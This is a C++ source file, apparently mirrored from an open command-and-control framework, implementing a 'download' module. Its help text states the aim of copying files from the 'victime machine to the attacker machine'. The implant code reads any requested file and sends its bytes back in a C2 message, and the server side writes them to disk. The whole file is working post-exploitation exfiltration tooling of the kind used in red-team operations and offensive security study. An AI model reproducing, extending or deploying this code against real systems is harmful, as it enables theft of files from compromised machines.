mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
105 lines
2.0 KiB
C++
105 lines
2.0 KiB
C++
#include "Download.hpp"
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#include <cstring>
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#include "Common.hpp"
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using namespace std;
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constexpr std::string_view moduleName = "download";
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constexpr unsigned long moduleHash = djb2(moduleName);
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#ifdef _WIN32
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__declspec(dllexport) Download* DownloadConstructor()
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{
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return new Download();
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}
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#endif
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Download::Download()
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#ifdef BUILD_TEAMSERVER
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: ModuleCmd(std::string(moduleName), moduleHash)
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#else
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: ModuleCmd("", moduleHash)
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#endif
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{
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}
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Download::~Download()
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{
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}
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std::string Download::getInfo()
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{
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std::string info;
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#ifdef BUILD_TEAMSERVER
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info += "download:\n";
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info += "Download a file from victime machine to the attacker machine\n";
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info += "exemple:\n";
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info += "- download c:\\temp\\toto.exe c:\\temp\\toto.exe\n";
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#endif
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return info;
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}
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int Download::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
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{
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if (splitedCmd.size() == 3)
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{
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string inputFile = splitedCmd[1];
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string outputFile = splitedCmd[2];
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c2Message.set_instruction(splitedCmd[0]);
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c2Message.set_inputfile(inputFile);
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c2Message.set_outputfile(outputFile);
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}
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else
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{
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c2Message.set_returnvalue(getInfo());
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return -1;
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}
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return 0;
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}
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int Download::process(C2Message &c2Message, C2Message &c2RetMessage)
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{
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c2RetMessage.set_instruction(c2RetMessage.instruction());
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c2RetMessage.set_cmd("");
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c2RetMessage.set_inputfile(c2Message.inputfile());
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c2RetMessage.set_outputfile(c2Message.outputfile());
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std::string inputFile = c2Message.inputfile();
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std::ifstream input(inputFile, std::ios::binary);
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if( input )
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{
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std::string buffer(std::istreambuf_iterator<char>(input), {});
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c2RetMessage.set_returnvalue("Success.");
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c2RetMessage.set_data(buffer.data(), buffer.size());
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}
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else
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{
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c2RetMessage.set_returnvalue("Failed: Couldn't open file.");
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}
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return 0;
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}
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int Download::followUp(const C2Message &c2RetMessage)
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{
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std::string outputFile = c2RetMessage.outputfile();
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std::ofstream output(outputFile, std::ios::binary);
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const std::string buffer = c2RetMessage.data();
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output << buffer;
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output.close();
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return 0;
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}
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